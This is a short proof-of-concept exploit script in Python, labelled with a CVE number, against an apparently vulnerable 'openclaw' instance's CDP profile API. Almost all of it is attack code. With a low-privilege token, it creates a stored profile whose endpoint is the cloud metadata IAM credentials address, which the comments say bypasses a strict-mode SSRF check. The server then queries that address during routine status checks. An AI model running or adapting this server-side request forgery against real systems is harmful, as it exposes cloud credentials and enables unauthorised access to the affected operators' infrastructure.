CVE-2026-45000

import requests # Target API endpoint for creating CDP profiles target_url = "http://vulnerable-openclaw-instance/api/v1/cdp/profiles" # Attacker controlled payload pointing to internal metadata service # This bypasses the strict-mode SSRF check mentioned in the CVE payload = { "profile_name": "Internal_Scan", "endpoint": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "browser_type": "chrome" } # Headers with low-privilege authentication token headers = { "Authorization": "Bearer <low_priv_token>", "Content-Type": "application/json" } try: # Step 1: Create the stored profile response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 201: print("[+] Malicious profile created successfully.") print("[+] The server will now probe the internal metadata endpoint during routine status checks.") else: print("[-] Failed to create profile. Status code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print("Error:", str(e))

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